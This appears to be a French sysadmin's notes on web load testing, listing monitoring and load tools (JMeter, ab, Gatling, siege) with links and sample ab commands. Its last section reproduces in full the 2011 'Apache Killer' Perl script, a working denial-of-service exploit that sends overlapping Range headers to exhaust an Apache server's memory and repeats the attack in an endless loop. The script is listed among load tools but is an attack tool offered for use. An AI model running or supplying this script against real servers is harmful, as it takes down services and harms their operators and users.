Perf test de charge

Liens :

http://www.thegeekstuff.com/2015/02/jmeter-load-testing/

Outils analyse :

atop

sar / sysstat

tload

munin

Outils charge :

jmeters

ab (apache)

artillery.io

gatling

script perl Apache Killer (Remote DOS Perl Script)

hey

Autre :

PhantomJS

Jmeter

Voir aussi :

Gatling

Voir

http://blog.milamberspace.net/index.php/jmeter-pages/jmeter-test-de-charges-dun-site-web-mode-demploi/jmeteriser-son-scenario-fonctionnel

http://blog.milamberspace.net/index.php/jmeter-pages/jmeter-test-de-charges-dun-site-web-mode-demploi/affinage-du-scenario-de-tests

https://blazemeter.com/blog/5-ways-launch-jmeter-test-without-using-jmeter-gui

AB

Voir aussi :

siege

httperf

pronk

Bloquer les attaques DOS

https://www.abyssproject.net/2014/06/bloquer-les-attaques-ddos-nginx/

https://www.devside.net/wamp-server/load-testing-apache-with-ab-apache-bench

Exemple :

ab -n 1000 -c 5 http://acme.fr/ ab -r -n 100 -c 10 -k -H "Accept-Encoding: gzip, deflate" http://acme.fr/ ab -n 500 -c 100 -g out.data http://acme.fr/ ab -n 10 -c 5 -A utilisateur:P@ssw0rd http://acme.fr/

-n : nombre de requêtes
-c : concurence, nombre de requête simultanées
-k : HTTP KeepAlive
-e apache.csv : Export les données dans un fihcier CSV
-r : Ne pas se terminer si erreur sur le socket
-f : Spécificer le protocol SSL/TLS
-A : Authentification
-C : cookie-name=value

Script Perl Apache Killer (Remote DOS Perl Script)

Source : http://seclists.org/fulldisclosure/2011/Aug/175

#Apache httpd Remote Denial of Service (memory exhaustion) #By Kingcope #Year 2011 # # Will result in swapping memory to filesystem on the remote side # plus killing of processes when running out of swap space. # Remote System becomes unstable. # use IO::Socket; use Parallel::ForkManager; sub usage { print "Apache Remote Denial of Service (memory exhaustion)\n"; print "by Kingcope\n"; print "usage: perl killapache.pl <host> [numforks]\n"; print "example: perl killapache.pl www.example.com 50\n"; } sub killapache { print "ATTACKING $ARGV[0] [using $numforks forks]\n"; $pm = new Parallel::ForkManager($numforks); $|=1; srand(time()); $p = ""; for ($k=0;$k<1300;$k++) { $p .= ",5-$k"; } for ($k=0;$k<$numforks;$k++) { my $pid = $pm->start and next; $x = ""; my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0], PeerPort => "80", Proto => 'tcp'); $p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n"; print $sock $p; while(<$sock>) { } $pm->finish; } $pm->wait_all_children; print ":pPpPpppPpPPppPpppPp\n"; } sub testapache { my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0], PeerPort => "80", Proto => 'tcp'); $p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n"; print $sock $p; $x = <$sock>; if ($x =~ /Partial/) { print "host seems vuln\n"; return 1; } else { return 0; } } if ($#ARGV < 0) { usage; exit; } if ($#ARGV > 1) { $numforks = $ARGV[1]; } else {$numforks = 50;} $v = testapache(); if ($v == 0) { print "Host does not seem vulnerable\n"; exit; } while(1) { killapache(); }